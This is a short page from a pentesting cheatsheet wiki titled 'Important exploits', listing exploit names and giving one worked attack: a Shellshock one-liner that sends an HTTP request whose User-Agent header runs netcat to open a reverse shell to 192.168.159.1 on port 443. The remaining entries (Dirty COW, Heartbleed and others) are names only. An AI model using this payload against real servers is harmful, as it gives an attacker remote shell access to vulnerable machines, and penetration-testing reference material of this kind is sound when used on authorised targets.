Important exploits

From Grayhat cheatsheets
Jump to navigationJump to search
  • Shellshock: To exploit "Shellshock", we need to find a way to "talk" to Bash. This implies finding a CGI that will use Bash. CGIs commonly use Python or Perl but it's not uncommon to find (on old servers), CGI written in Shell or even C. shellshock reverse shell:

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80

  • Dirty COW
  • Heartbleed
  • Mempodipper
  • Openfuck
  • Churrasco